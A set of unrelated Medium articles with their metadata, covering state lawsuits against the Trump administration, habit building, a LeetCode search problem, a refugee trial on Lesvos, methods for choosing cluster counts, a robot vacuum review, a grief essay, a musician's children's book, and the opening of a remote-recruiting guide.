Hotel and Tower in Chicago. James claims “For months, the Trump Organization has made baseless claims in an effort to shield evidence from a lawful investigation into its financial dealings. They have stalled, withheld documents, and instructed witnesses, including Eric Trump, to refuse to answer questions under oath.” The investigation is also looking into Trump’s former lawyer Michael Cohen. Likewise, Letitia James charged Wayne LaPierre and three other seniors managers with “taking millions of dollars of allegedly undisclosed compensation from the NRA and its vendors, in the form of free yacht trips, private jet flights for his family, exotic safaris and other benefits.” These allegations are based on 18 months of investigating. The National Rifle Association is a major donor to Republican candidates, and in the 2016 election contributed over $30 million to the Trump campaign. Furthermore, Steven Bannon, Trump’s former lead strategist, has been charged with diverting over a million dollars to himself from his fundraising campaign “We Build The Wall.” The lawsuit alleges that he and 3 others misled donors into thinking that all of the money would go towards building a wall on the border with Mexico. The indictment said that one of the others being indicted “spent some of the over $350,000 he received on home renovations, payments toward a boat, a luxury SUV, a golf cart, jewelry, cosmetic surgery, personal tax payments and credit card debt.” All of these lawsuit are outside the jurisdiction of the federal government. If the power to investigate was held only with the federal government, these investigations would likely never have happened, as Attorney General William Barr has already proven himself willing to go along with Trump’s agenda, as shown by his selective redaction of the Mueller Report. Rolling Back Environmental Protections The states also pushed back against the Trump administration’s attempt to limit their rights to set their own environmental standards. For example, 23 states have sued the Trump administration over not allowing California to set their own emission standards for cars and trucks, which many other states use as a guideline. The National Highway Traffic Safety Administration issued a regulation that was designed to subvert this ability, which had been granted to them since the 1970s, to which California’s Attorney General Xavier Becerra responded “President Trump should have at least read the instruction manual he inherited when he assumed the presidency, in particular the chapter on respecting the rule of law.” Becerra also filed a lawsuit with 21 states that alleges Trump’s Environmental Protection Agency has limited their ability to protect their water quality. The lawsuit, which is headed by California, New York and Washington state claims, “that the regulation changes violate the federal Clean Water Act and decades of legal decisions and administrative precedent.” The states claim that their ability to review, put conditions on, or even block federal projects like oil pipelines has been substantially hindered. The State of Colorado is also suing Trump’s Bureau of Land Management for planning to increase mining, drilling, and fracking on public lands. The lawsuit claims the Trump administration is “pursuing a land-management plan for fossil fuel development that ignored environmental risks to agriculture, climate and endangered species.” Trump’s lack of concern for the environment is well-document. The New York Times created a list of more than 100 policies the Trump administration rolled-back or tried to roll-back. If Trump had more control-if the states didn’t have their own EPAs-it is safe to assume that his environmental damage would have been even more severe. Creating Callous Immigration Policies The states have unleashed numerous lawsuits against the damage created by Trump’s immigration policies. First, in March 2017, 17 attorneys general sued to stop Trump’s executive order 13769 because it “negatively impact universities and medical institutions, has a depressing effect on tourism — causing lost tax revenue — and amounts to an anti-Muslim order.” Second, 15 states sued to prevent the Trump administration from ending the Deferred Action for Childhood Arrivals program, which protects children of illegal immigrants from deportation. The lawsuit claimed “Ending DACA, whose participants are mostly of Mexican origin, is a culmination of President’s Trump’s oft-stated commitments — whether personally held, stated to appease some portion of his constituency, or some combination thereof — to punish and disparage people with Mexican roots.” Third, thousands of children have been separated from their parents along the border under the Trump administration. 17 states sued to stop the practice. New Jersey Attorney General Gurbir Grewal said “Every day, it seems like the administration is issuing new, contradictory policies and relying on new, contradictory justifications. But we can’t forget: the lives of real people hang in the balance.” Fourth, 16 states sued Trump to prevent him from diverting funds towards his border wall. When he could not get the funding from Congress, Trump declared a national emergency, which allowed him to redirect funding. Becerra said, “We’re suing President Trump to stop him from unilaterally robbing taxpayer funds lawfully set aside by Congress for the people of our states.” Fifth, in the middle of 2020, in midst of the Covid-19 pandemic, the Trump administration deprived international students of their visas if they continued university online, prompting many including university leaders to accuse the administration of trying to force campuses to reopen. 17 states sued to reverse the policy. Harvard and MIT filed their own lawsuits as well. Massachusetts Attorney General Maura Healey claimed “The Trump administration didn’t even attempt to explain the basis for this senseless rule, which forces schools to choose between keeping their international students enrolled and protecting the health and safety of their campuses.” If it wasn’t for the states keeping the Trump administration in check, what other ill conceived immigration policies would he have tried to get away with? Removing Protections for Transgenders One of the provisions of Obama’s Affordable Care Act was designed to prevent discrimination based on gender identity. However, the Trump administration was able to strike this down beginning on August 18th, 2020. As a response, 23 states being led by Letitia James sued to prevent this, as they believe it relies on illegally redefining ‘sex.’ The Supreme Court has already ruled that discrimination against the LGBTQ community is illegal, but Trump’s Health and Human Services department said that it will enforce sex discrimination “according to the plain meaning of the word ‘sex’ as male or female and as determined by biology.” James believes “This is just the latest attempt by President Trump and his administration to unlawfully chip away at health care for Americans after failing to repeal the ACA time after time.” She also believes Trump’s actions are intended to limit access to abortion and deprive non-English speakers of information. Thankfully, the states are able to push back against a blatant attempt to discriminate. Bullying Governors During the Pandemic Response When the Covid-19 pandemic began to ravage the US, some state governors chose to impose lockdown orders to stop the spread. However, Trump butted heads with them, as he pushed for the states to remain open, despite virtually all medical advice to the contrary. He said during a press conference that he “calls the shots” and that “When somebody is the president of the United States, the authority is total and that’s the way it’s got to be.” When asked for a legal basis, he was unable to provide one, as the president has limited ability to circumvent a governor’s authority on these matters. As a response, governors have taken matters into their own hands, with several banding together to coordinate their responses. As of this writing, the US has surpassed 250,000 cases due to a lack of scientific understanding and conspiracy theories, many of which are supported by Trump and his followers. Given the above, it’s safe to assume that the pandemic would be even worse had the governors not been able to overrule the Trump administration. Deploying Federal Agents in Portland In May, 2020, protests and riots broke out in Portland, Oregon in response to the police killing George Floyd by kneeling on his neck. Because of the damage being done to the city, Trump sent in agents from the Department of Homeland Security. On one hand, the federal government is within their rights to defend federal property, but they are not allowed to interfere with city or state matters. Portland and Oregon have filed a lawsuit, claiming that agents were engaged several blocks from federal property, had unlawfully deputized local police officers, and erected a fence over city property. The lawsuit claims that these activities are “a distinct and meaningful policy shift to use federal enforcement to unilaterally step in and replace local law enforcement departments that do not subscribe to the President’s view of domestic ‘law and order.’” In particular, the lawsuit claims that they are a violation of the anti-commandeering doctrine of the 10th Amendment. With this in mind, it’s worth wondering how far Trump would have gone if states’ rights didn’t exist. Targeting Marijuana Laws In the early days of his presidency, Trump signaled support for allowing states to make their own marijuana laws. He said in numerous interviews that he would not touch the Obama-era Cole memo, which advised federal prosecutors to “generally not pursue action against individuals for state-legal cannabis-related activity, except under a limited set of circumstances.” However, in 2018, marijuana and states’ rights advocates were alarmed when Attorney General Jeff Sessions rescinded the memo. Furthermore, the Justice Department then won a court case to force California to disclose documents on licensed marijuana businesses; U.S. Citizenship and Immigration Services made working for a marijuana dispensary grounds for denying citizenship to immigrants; the Justice Department made misdemeanor possession grounds to deny seeking asylum; the Trump appointed leader of the Department of Veterans Affairs spoke out against legislation that would grant greater access to medical marijuana for veterans and legislation for increased research; and Trump created a secret committee to help federal agencies deter public support for marijuana reform. However, because of states’ rights, the states are continuing the push for legal marijuana, despite the efforts of the Trump administration. On November 3rd, 2020, voters in Arizona, Montana, New Jersey, and South Dakota voted to legalize marijuana for personal use, joining 11 other states and DC. Shielding For-Profit Universities 19 states sued Secretary of Education Betsy DeVos for allowing for-profit schools to use predatory practices on students. Massachusetts Attorney General Maura Healey said that “Since day one, Secretary DeVos has sided with for-profit school executives against students and families drowning in unaffordable student loans.” The Borrower Defense Rule was designed by the Obama administration to protect borrowers, with wide reaching effects for state universities, but DeVos has refused to abide by the legislation. Thankfully, states’ rights allowed state attorneys general to stand up to DeVos. Final Thoughts As of this writing, the Trump administration has been sued 138 times by the states. For comparison, Obama was sued 78 times and Bush 76 times during their 8 years in office. One of the reasons for this is the growing political divide in the country, but this also demonstrates Trump’s authoritarian tendencies, which is exactly why the founding fathers put the true seat of power with the states. Unfortunately, though, both parties change their opinions on states’ rights depending on what they need at the moment. For example, at the moment, a lot of Democrats are pushing to abolish the Electoral College. While there are good reasons to do so, it puts way too much power over elections into the hands of the federal government, the representatives of which would benefit from its manipulation. However, the majority of the lawsuits discussed above are from Democrats. Likewise, Republicans sued the Obama administration because of federal oversteps numerous times, yet they are the ones enabling the Trump administration’s oversteps. In other words, states’ rights only matter when it’s convenient. Going forward, it’s difficult to say if anything will change for the better. The power of the federal government continues to grow, and states’ rights increasingly get overshadowed. In particular, the executive bureaucracy has ballooned in recent decades, and the president’s authority over it is virtually unquestioned due to the Unitary Executive Theory and party loyalty. The solutions perhaps are to stop ignoring the importance of states’ rights to suit a particular agenda, to allow more Congressional oversight over the executive branch, and to stop putting party over country. Otherwise, future Donald Trumps will only wield more power.

https://medium.com/discourse/trump-is-the-reason-for-states-rights-2ddd0c617c9c

['The Happy Neuron']

2020-11-20 15:20:23.316000+00:00

['Democracy', 'History', 'Politics', 'Trump', 'Government']

Throw away all the resolutions you made

So back to our main problem: Is there any way we can make resolutions that actually work? Yes, we can. They’re called daily habits. Resolutions that are well-defined and trackable are called daily habits Now, converting a resolution such as “Lose weight” to a daily habit might seem intimidating at first but when you give it some thought and a sprinkle of creativity, it can be any daily habit you want. Something that worked for me is converting “Lose weight” to “Go on the scale every day”. Going on the scale everyday makes it extremely simple to lose weight. I can’t describe how impactful that small change in words, was for me. Going on the scale every day reminded me of my weight and as a result, I made better decisions when it came to exercise and food for the rest of the day. Of course, there are many other daily habits you can convert “Lose weight” to, such as “Go for a 10 minute walk every day”. Which might seem infinitesimal at first but when you compound its effects day after day, the pounds start to add up. But how can we track such a habit without involving too much complexity? A really simple way that will keep us motivated and going? To reveal miniscule success that will keep us going? We can use any great habit-tracking tool. I’ve been using Streaks, it makes tracking a habit as easy as a tap on your Apple Watch or iPhone. With such a tool, we are now able to know whether we’re making progress or not and exactly how much.

https://medium.com/fellowship-writers/you-only-need-to-make-this-one-new-years-resolution-30d39c0e186

['Omar Toutounji']

2021-02-11 04:15:33.582000+00:00

['News', 'Habits', 'Year', 'Goals', 'Resolutions']

LeetCode problem #35 — Search Insert Position (JavaScript)

In this LeetCode problem, we’re given an array of ordered integers, and a target integer, and asked to return the index of where the target can be found in the array. If the target cannot be found in the array, we’re asked to return the index of where it would be found if it were added. The basic idea behind solving this problem is to look for the first occurrence in the array that is greater than or equal to the target number. So that’s what we’ll do below, in two different ways. Solution #1: The for loop The brute-force approach here is to do more or less exactly what is described above. We loop through the array’s values, looking for the target. If we find either the target, or the first occurrence of an integer higher than the target one (which indicates that that’s where the target would be located), we return the index. The downside of this simple solution is that we have to check every number in the array in order to get our answer. Solution #2: Binary search To speed things up, we can employ the use of a fairly standard binary search. The search will half the available array, look for which side’s range of values contains the target (or integers higher than it), and then discards the other side, before repeating the process. This means we keep cutting down the array, checking as little data as possible each time, until we’re left either with the target integer, or the next highest number from it, giving us our answer.

https://medium.com/@duncan-mcardle/leetcode-problem-35-search-insert-position-javascript-185d1b968839

['Duncan Mcardle']

2020-12-27 20:02:35.186000+00:00

['Leetcode Solution', 'Leetcode Easy', 'Javascript Development', 'Leetcode', 'JavaScript']

AYS Daily Digest 13/05/2021: Somali father sentenced to 146 years in prison for trying to save dozens of lives off Lesvos

AYS Daily Digest 13/05/2021: Somali father sentenced to 146 years in prison for trying to save dozens of lives off Lesvos MSF returns to Central Med // Shipwrecks and returns to Libya // Greek petition to build schools — not walls // A moment of hope in Glasgow Are You Syrious? Follow May 14 · 10 min read FEATURE — The price of saving lives? Two lifetimes in prison Photo: Borderline Europe The Greek justice system and the EU’s harsh border policies have destroyed another life this week: not by drowning, but with a sentence of 146 years in a Greek prison for trying to save 33 lives off the coast of Lesvos last December. While the criminalization of European sea rescuers such as Carola Rackete receives a good deal of media attention, “the everyday practice of incarcerating non-Europeans on the Greek islands goes almost unnoticed,” Borderline Europe wrote in a press release on Wednesday. “However, it is they who constitute the majority of those being arrested and imprisoned on allegations of ‘smuggling’ and ‘aiding illegal immigration’.” This Thursday, May 13, 27-year-old Mohamad H., a father of four children, stood trial in Mytilene, Lesvos. His crime? Steering a rubber boat, of which he himself was also a passenger, through treacherous waters off the coast of Greece in an effort to avoid a shipwreck and apply for asylum in Europe. For this, Mohamad faced two life sentences and a further ten years imprisonment for each passenger aboard. The journalist Daphne Tolis wrote on Twitter that the young father was sentenced to 146 years in prison in a Mytilene courtroom yesterday: On December 2, 2020, Mohamad and 33 other people, including three children, left Turkey for Greece in a rubber boat. In the middle of the Aegean, the boat went into distress, and Mohamad, who had no prior boating experience, took the helm and tried to steer the craft to shore. (The other passengers confirmed that Mohamad tried to save their lives.) Unfortunately, Mohamad’s efforts were not enough. The boat capsized close to the island of Lesvos and two young women lost their lives. The survivors were brought to the port of Mytilene, where Mohamad was immediately arrested for driving the boat and later charged with the “illegal transportation of third-country nationals into Greek territory” and endangering the lives of everyone on board the rubber boat. Since then, he has been held in a prison on the island of Chios to await trial. Borderline Europe wrote in a press release: We stand in solidarity with Mohamad H. who is clearly being used as a scapegoat to divert attention from the responsibility that the EU and its ever-increasing closure of borders carries for these deaths. Instead of being threatened with life in prison, Mohamad H. should receive the care he needs after suffering such a traumatic experience. Instead of being threatened with life in prison, Mohamad H. should be thanked and celebrated for trying to save the life of 33 people. Under Greek law, any person who drives a vehicle across the Greek border carrying people seeking international protection is considered a smuggler. Thus, many other asylum-seekers before Mohamad H. have been arrested, charged and found guilty of such crimes. Their trials, however, are hardly fair and just. The proceedings last on average 38 minutes only, and lead to an average sentencing of 44 years and fines over 370,000 euro, according to Borderline. “[I]t becomes absolutely clear that the accused tried to prevent the death of more people and his ‘driving’ the boat wasn’t a decision but a necessity. It’s time to start applying all of the Greek Law and not only the parts of it that help to criminalize asylum seekers,” Dimitris Choulis and Alexandros Georgouli, Mohamad’s lawyers, said. Lena K. identified the hypocrisy best in a tweet following the sentencing:

https://medium.com/are-you-syrious/ays-daily-digest-13-05-2021-somali-father-sentenced-to-146-years-in-prison-for-trying-to-save-a02013048365

['Are You Syrious']

2021-05-14 17:39:54.959000+00:00

['Migration', 'Digest', 'Greece', 'Search And Rescue', 'Refugees']

Finding Optimal Number Of Clusters for Clustering Algorithm — With python code

WHAT IS CLUSTERING? It is basically a type of unsupervised learning method. An unsupervised learning method is a method in which we draw references from datasets consisting of input data without labeled responses. Generally, it is used as a process to find meaningful structure, explanatory underlying processes, generative features, and groupings inherent in a set of examples. Clustering is the task of dividing the population or data points into a number of groups such that data points in the same groups are more similar to other data points in the same group and dissimilar to the data points in other groups. It is basically a collection of objects on the basis of similarity and dissimilarity between them. There are multiple methods you can use in order to determine what is the optimal number of clusters for your data and that is what will see in detail below. DETERMINING THE OPTIMAL NUMBER OF CLUSTERS 1. ELBOW METHOD The Elbow method is a heuristic method of interpretation and validation of consistency within-cluster analysis designed to help to find the appropriate number of clusters in a dataset. Elbow method example The example code below creates finds the optimal value for k. # clustering dataset # determine k using elbow method from sklearn.cluster import KMeans from sklearn import metrics from scipy.spatial.distance import cdist import numpy as np import matplotlib.pyplot as plt x1 = np.array([3, 1, 1, 2, 1, 6, 6, 6, 5, 6, 7, 8, 9, 8, 9, 9, 8]) x2 = np.array([5, 4, 5, 6, 5, 8, 6, 7, 6, 7, 1, 2, 1, 2, 3, 2, 3]) plt.plot() plt.xlim([0, 10]) plt.ylim([0, 10]) plt.title(‘Dataset’) plt.scatter(x1, x2) plt.show() # create new plot and data plt.plot() X = np.array(list(zip(x1, x2))).reshape(len(x1), 2) colors = [‘b’, ‘g’, ‘r’] markers = [‘o’, ‘v’, ‘s’] # k means determine k distortions = [] K = range(1,10) for k in K: kmeanModel = KMeans(n_clusters=k).fit(X) kmeanModel.fit(X) distortions.append(sum(np.min(cdist(X, kmeanModel.cluster_centers_, ‘euclidean’), axis=1)) / X.shape[0]) # Plot the elbow plt.plot(K, distortions, ‘bx-’) plt.xlabel(‘k’) plt.ylabel(‘Distortion’) plt.title(‘The Elbow Method showing the optimal k’) plt.show() 2. SILHOUETTE ANALYSIS Silhouette analysis can be used to study the separation distance between the resulting clusters. The silhouette plot displays a measure of how close each point in one cluster is to points in the neighboring clusters and thus provides a way to assess parameters like number of clusters visually. This measure has a range of [-1, 1]. Where 1 means that points are very close to their own cluster and far from other clusters, whereas -1 indicates that points are close to the neighboring clusters. Scikit learn link — Python code can be found in this sci-kit learn. 3. GAP STATISTICS Gap statistic is a goodness of clustering measure, where for each hypothetical number of clusters k, it compares two functions: log of within-cluster sum of squares (wss) with its expectation under the null reference distribution of the data. # compute gap statistic set.seed(123) gap_stat <- clusGap(df, FUN = kmeans, nstart = 25, K.max = 10, B = 50) # Print the result print(gap_stat, method = "firstmax") ## Clustering Gap statistic ["clusGap"] from call: ## clusGap(x = df, FUNcluster = kmeans, K.max = 10, B = 50, nstart = 25) ## B=50 simulated reference sets, k = 1..10; spaceH0="scaledPCA" ## --> Number of clusters (method 'firstmax'): 4 ## logW E.logW gap SE.sim ## [1,] 3.458369 3.638250 0.1798804 0.03653200 ## [2,] 3.135112 3.371452 0.2363409 0.03394132 ## [3,] 2.977727 3.235385 0.2576588 0.03635372 ## [4,] 2.826221 3.120441 0.2942199 0.03615597 ## [5,] 2.738868 3.020288 0.2814197 0.03950085 ## [6,] 2.669860 2.933533 0.2636730 0.03957994 ## [7,] 2.598748 2.855759 0.2570109 0.03809451 ## [8,] 2.531626 2.784000 0.2523744 0.03869283 ## [9,] 2.468162 2.716498 0.2483355 0.03971815 ## [10,] 2.394884 2.652241 0.2573567 0.04104674 We can visualize the results with fviz_gap_stat which suggests four clusters as the optimal number of clusters. fviz_gap_stat(gap_stat) 4. HIERARCHICAL CLUSTERING- Dendrogram A dendrogram is a tree-like diagram that records the sequences of merges or splits. Hierarchical clustering is usually used to better understand the structure and relationships in your data and based on them you decide what number of clusters seems appropriate for your purpose How to choose the optimal number of clusters based on the output of this analysis, the dendogram? As a rule of thumb, look for the clusters with the longest ‘branches’, the shorter they are, the more similar they are to following ‘twigs’ and ‘leaves’. But keep in mind that, as always, the optimal number will also depend on the context, expert knowledge, application, etc. >>> from scipy.cluster import hierarchy >>> import matplotlib.pyplot as plt >>> ytdist = np.array([662., 877., 255., 412., 996., 295., 468., 268., ... 400., 754., 564., 138., 219., 869., 669.]) >>> Z = hierarchy.linkage(ytdist, 'single') >>> plt.figure() >>> dn = hierarchy.dendrogram(Z) >>> hierarchy.set_link_color_palette(['m', 'c', 'y', 'k']) >>> fig, axes = plt.subplots(1, 2, figsize=(8, 3)) >>> dn1 = hierarchy.dendrogram(Z, ax=axes[0], above_threshold_color='y', ... orientation='top') >>> dn2 = hierarchy.dendrogram(Z, ax=axes[1], ... above_threshold_color='#bcbddc', ... orientation='right') >>> hierarchy.set_link_color_palette(None) # reset to default after use >>> plt.show() Dendrogram How to choose the optimal number of clusters based on the output of this analysis, the dendrogram? As a rule of thumb, look for the clusters with the longest ‘branches’, the shorter they are, the more similar they are to following ‘twigs’ and ‘leaves’. But keep in mind that, as always, the optimal number will also depend on the context, expert knowledge, application, etc. Thanks for reading my first post in Medium.

https://medium.com/@masarudheena/4-best-ways-to-find-optimal-number-of-clusters-for-clustering-with-python-code-706199fa957c

['Mohamed Asarudheen']

2019-09-09 03:58:51.010000+00:00

['Machine Learning', 'Pyhton', 'Statistics', 'Unsupervised Learning', 'Artificial Intelligence']

Proscenic M7 Pro robot vacuum review: Watch your back, iRobot

The M7 Pro is the first Proscenic robot vacuum we’ve reviewed, and if it’s indicative of the rest of the company’s vacuums, it bodes well indeed. The M7 Pro performs both vacuuming and mopping duties, employs laser navigation and mapping, and offers plenty of cleaning customization for a solidly mid-tier price. The M7 Pro doesn’t break any molds with its design, sticking to a standard circular shape in a black finish. It measures just over 13 inches across and its above-average 3.8-inch height reflects the laser turret—which allows it to map your floor plan—sitting on top. Underneath are two spinning edge brushes and a main rolling brush. A 600ml dustbin slots into the back. This review is part of TechHive’s coverage of the best robot vacuums, where you’ll find reviews of competing products, plus a buyer’s guide to the features you should consider when shopping for this type of product.You can control the vacuum with its physical remote, the Proscenic Home companion app, or with voice commands via Amazon Alexa. The app provides many ways to customize cleaning jobs, including scheduling, setting virtual boundaries, and zone cleaning. It also tracks cleaning stats and battery usage and alerts you when the vacuum gets stuck. Proscenic The Proscenic M7 Pro has a max suction of 2700Pa, making it great for getting pet hair out of carpets. SetupSetting up the M7 Pro is pretty simple. First, plug in its charging dock and set it against a wall—Proscenic recommends 3.9 feet of clearance in front and 1.6 feet on either side—then set the vacuum on it and power it on. To connect it to the app and your WI-Fi, you have to press the Clean and Home buttons on the vacuum simultaneously until the voice prompt says it’s ready to connect. The app takes over from there, prompting you through the connectivity steps with the vacuum’s voice prompts confirming the success of each one. I didn’t encounter any issues, and the whole process took just a couple of minutes. [ Further reading: The best indoor air-quality monitors ]Performance Auto dust collector sold separately Proscenic Automatic Dust & Dirt for M7 Pro Robot Vacuum Cleaner See it For the first cleaning, it’s important to clear the floor of clutter, so the M7 Pro has unfettered access to build an accurate floor map. As it cleans, you can view its path on the map as a squiggly white line snaking around the room. The app also displays the area covered in square meters, the duration of the job, and the current battery level. Once you have a complete map, you can set up restricted areas where you don’t want the bot to go. A clearly labeled button on the map screen opens this feature and prompts you to give the area a descriptive name: “dog bed,” for example. Then it drops a red bounding box on the map for you to drag to the appropriate spot and resize. The box disappears from the map once you save the area, leaving just the area’s name on the map. Proscenic Proscenic’s Automatic Dust & Dirt collector, sold separately for $99, automatically empties the M7 Pro’s dustbin. The map also enables area cleaning for when you don’t want to vacuum an entire room or level of your home. To do this, select Custom Area from the map screen and then Add Custom Area. Again you’re prompted to give the area a name, then a green boundary box appears on the map for you to resize and place. Press Save Area Temporarily to finish. You won’t see these custom cleaning areas marked on the main map; they’re saved to a separate map that appears when you access the More menu and select Multi-Zone Cleaning. All you need to do to clean one of these areas is select it and press the Go to Clean button. Zone cleaning came in handy when I used the M7 Pro on my downstairs level. I was able to delineate my living room, kitchen, and bathroom as separate cleaning areas and dispatch the M7 Pro to each of them for vacuuming or mopping individually. Michael Ansaldo/IDG Mapping allows you to clean custom areas and set virtual boundaries. The M7 Pro was able to transition over medium-pile carpet, hardwood, and vinyl tile flooring without a problem. It’s laser navigation and 24 on-board sensors allowed it to move around furniture, along walls, and through doorways without banging into anything or taking inefficient routes. Its turret-boosted height prevented it from getting under my low couch, but that was really the only issue I encountered. The vacuum has three suction strengths—Quiet, Standard, and Strong—the last with a whopping 2700Pa max suction power. That was pivotal in pulling up pet hair and debris from my carpet. I generally used the M7 Pro in Auto mode, so it would automatically boost the suction when it detected the rug, but there is also a Spot mode for cleaning small, extra dirty areas. The dustbin removes and opens easily for emptying, but if you have allergies or are particularly sensitive to dust, you may want to consider using Proscenic’s Automatic Dust & Dirt collector. Sold separately for about $99, it will empty the M7 Pro in a similar fashion to the iRobot’s Roomba i7+, s9+, and i3+ models. Unfortunately, we weren’t provided one for testing, so I can’t tell you how effective it is. I can tell you that replacement bags for the dust collector cost about $16.50 for a three-pack. MoppingThe M7 Pro includes a separate mopping module, a 110ml water reservoir to which you attach a microfiber cloth. It performs about as well as similarly outfitted mopping robot vacuums, which is to say good, but not great. Once you fill the reservoir with water and attach it to the M7 Pro, it drags the dampened cloth across the floor to wipe away surface grime. It’s fine for maintenance, but it won’t replace your stick mop for removing tougher dirt. The main issue, though, is that the M7 Pro doesn’t know to avoid carpet when it’s in mopping mode. That makes area cleaning essential for homes like mine where the two types of flooring are immediately adjacent to each other. Area cleaning allowed me to use the M7 Pro in my kitchen, entryway, and bathroom for mopping without worrying too much it would stray onto the living room carpet. Still, I had to monitor it during these cleanings because its dock, which it automatically returns to when it’s finished a job, was in the carpeted area. The M7 Pro’s microfiber cloth is machine washable, but the manufacturer also provides 10 disposable mop cloths in the box with the appliance. VerdictThe Proscenic gets high marks for its vacuuming performance, its excellent app, and ample cleaning customizations. It’s a middling mopper, but no worse than other hybrid-style competitors. It compares favorably to Roborock’s S4 Max in both features and price, and in that light, the mopping feature is a bonus. The Automatic Dust & Dirt collector option should probably factor into your decision, too, as even with the added expense of that accessory, the total cost would be less than one of iRobot’s self-emptying models. Note: When you purchase something after clicking links in our articles, we may earn a small commission. Read our affiliate link policy for more details.

https://medium.com/@Kenny82216770/proscenic-m7-pro-robot-vacuum-review-watch-your-back-irobot-6e98fd5b5d63

[]

2020-12-17 04:27:45.139000+00:00

['Surveillance', 'Chargers', 'Mobile', 'Security Cameras']

I’m Running Out Of Pictures To Post

I’m running out of pictures to post because the years tick by and I’m left with only the almost-nineteen year collection from way back in the times before we carried all our photos in our palm in an easy-to-access catalogue of our lives. I’m running out of pictures to post because the thought of going to mom’s and digging through the printed memories feels too big because the boxes of your short-life reel are paradoxically larger than my longer-life palm-size reel of all the things that happened after you. I’m running out of pictures to post because your time on earth was brief and you lived before the social media pictorial of the self each person now has immediately at hand so that when they leave this world the evidence of their existence is sealed in the permanence of the endless electronic space cloud. I’m running out of pictures to post unsure whether to laugh or cry over the concept of what it now means to live in the eternal electronic cloud when for so long I’ve imagined you on your own eternal (non-electronic) cloud in the company of all the others who came before the palm-sized life reels which solidify our existence here on earth as an electronic footprint impossible to erase. I’m running out of pictures to post but never at a loss for words to describe or things to say about what it feels like to be running out of pictures and self-conscious of the fact that I’ve had two consecutive days of memorial word vomit (even after 27 years and even though I tell others that there is no timeline but somehow still get myself stuck there) which I feel compelled to share with the world as a way of including you in the electronic cloud and drawing you into the fold of eternal presence because somehow the essence of electronic life implies a permanence that you and those who came before you in those primitive print-reel times will never have. I’m running out of pictures to post because you never had a Facebook page or an Instagram account or Tik-Tok-ed a video of the real-life episode of yourself being stuffed into the trunk of a friend’s car which is a memory only experienced by a select few who downloaded (or is it uploaded since I’m of the age where I don’t understand the difference between loading a file up or down?) the memory verbally with the others who loved and cared for you so that they might absorb that memory as proof-of-life evidence that you existed and are carried on through figurative time and space which in this day and age feels so much less tangible than the proof-of-life-palm-sized reel. I’m running out of pictures to post and feeling terrified that you’re fading along with the finite set of printed photos in those boxes which if I only had the strength to scan could become your own electronic life-reel on the social media platform of my choice or even all of them because there are no rules about how many platforms we can use to plant our electronic seeds and memorialize ourselves across space and time and clouds. I’m running out of pictures to post and gob-smacked that you’d be 46 while starting to think of you as that tree falling in the woods with no one there to bear witness to its sound as it falls lost in the existential vacuum of what it means to be here or to have been here or to continue being here since for me even without electronic proof-of-life you are here and were here and will always be here suspended in time in my mind in an actual cloud like the ethereal one described by so many before me and the one I carry in my heart along with Frankl’s concept of angels lost in contemplation of an infinite glory which is an idea too beautiful for an electronic cloud and too other-worldly in its essence which is exactly as you will always remain to me as I keep you eternally embedded in my soul.

https://medium.com/@jenniferabcug/im-running-out-of-pictures-to-post-6173955a09a9

['Jennifer Elise']

2020-12-24 11:32:11.722000+00:00

['Siblings', 'Viktor Frankl', 'Memoir', 'Meaning Of Life', 'Existence']

Lou Rhodes on Lamb, lockdown, and her new book for children

If you’re looking for an easy, affordable gift for a small child, the digital version of the charming picture book The Phlunk is beautiful, and works seamlessly on an iPad. With gorgeous illustrations by Tori Elliott and read by its author, Lou Rhodes, it’s about a cute, cat-like alien with huge ears that enable it to hear everything children are doing on Earth. Lou and I have know each other for a long time now. When we first met, I was editor of The Face, and she worked for the magazine as a photographer. When she asked me to write the first press bio for her band Lamb, a collaboration with producer Andy Barlow, I was a little anxious: what if they were awful? I needn’t have worried. They were magnificent, offsetting Lou’s calm stage presence and ethereal voice with frenetic electronic beats and lush strings. Lamb’s eponymous debut album, released in 1996, is still a huge favourite in our house along with their other seven studio albums, and Lou’s excellent, more folk-influenced 2006 solo album Beloved One. (Which was nominated for the Mercury Music Prize.) But I wasn’t alone in my doubts, in those early days. Factory Records boss Tony Wilson thought Lamb was a mistake. “He famously told me to not give up the day job when we started,” says Rhodes with a laugh. “He said, ‘You’re a good photographer, Louise!’ I said, ‘Well, thanks. But I think we’re onto something here as well.’ But he was just like, nah.” Trusting the process “You’ve just got to trust,” she says, talking about the leap of faith we all take, when making something new. “It’s not really a cerebral process, when you’re creating. It’s that gut feeling of — something’s happening here. And if you had to explain it to anybody, in its formative stages, you wouldn’t go beyond that. “If you cross-examine what you’re doing, you might as well stop there. Because it comes from somewhere else. It comes from your core and you just follow the process. That’s what we sometimes lose touch with, because we live in a kind of left-brain reality of, ‘Are you going to make a living out of this?’” The Phlunk grew out of one of those leaps. “He kind of appeared when my two boys were small,” she explains. “I wrote a poem about this alien creature who can hear everything that children say and do. When kids are small, they’re just always like, ‘Mommy, look, look, look.’ They always want you to see and hear what they’re doing. “And from when mine were two and six, I was a single mum, and also working, writing, touring. So the idea behind The Phlunk was that he’s always there listening, even if they feel like you’re somewhere else. Although obviously, I wasn’t somewhere else all the time! I hope they would attest to that.” The poem sat in a drawer until 2011, when Rhodes decided to make it into a book. She approached the illustration department at Falmouth School of Art and Design, and asked if they’d run a competition amongst the students, to draw the character. Tori Elliott won, bringing it to life in a way that Rhodes says was “better than I’d even imagined”.

https://medium.com/creative-living/lou-rhodes-on-lamb-lockdown-and-her-new-book-for-children-13701d1204cb

['Sheryl Garratt']

2020-12-08 11:50:51.805000+00:00

['Self Publishing', 'Writing', 'Books', 'Crwativity', 'Music']

Recruiting remote employees: A complete guide

Finding amazing talent has never been easier. By now, most of us are familiar with at least the basics of remote work. Many articles covering the subject tend to deal with matters from the remote worker’s perspective and not from the companies’ angle. Guides on how to land a great remote job are aplenty, but there are fewer of those covering the recruitment process of remote teams. This shift in the job market has many companies and recruiters confused and uncertain about whether they need to adapt their approach and how. As we are ourselves a fully distributed company, here are some tips from our playbook on recruiting remote professionals: Make your company remote-friendly Recruiting remote employees is a process that puts your company on the remote-friendly map. Don’t jump into this if your company is not fully ready to embrace the benefits and challenges of remote work. Carefully evaluate the expectations of each position and its possibility for remote hiring. Consider whether you will be hiring globally or locally, the expenses or savings remote work brings to your company, and processes you need to put in place for a frictionless work atmosphere. Don’t “digitalize” your process — rethink it Many companies fall into the trap of just trying to replace certain parts of their processes with remote equivalents. For your company to achieve success with remote hiring, you need to reconfigure the way you think about your teams and, in turn, new hires. Think about how you will share assignments with candidates and evaluate them. Incorporate written communication in the recruitment process as much as any remote worker will need to do in their daily job. Share the job requirements with your team members and ask for their inputs: after all, they will be working with their new colleague every day. Write an excellent remote 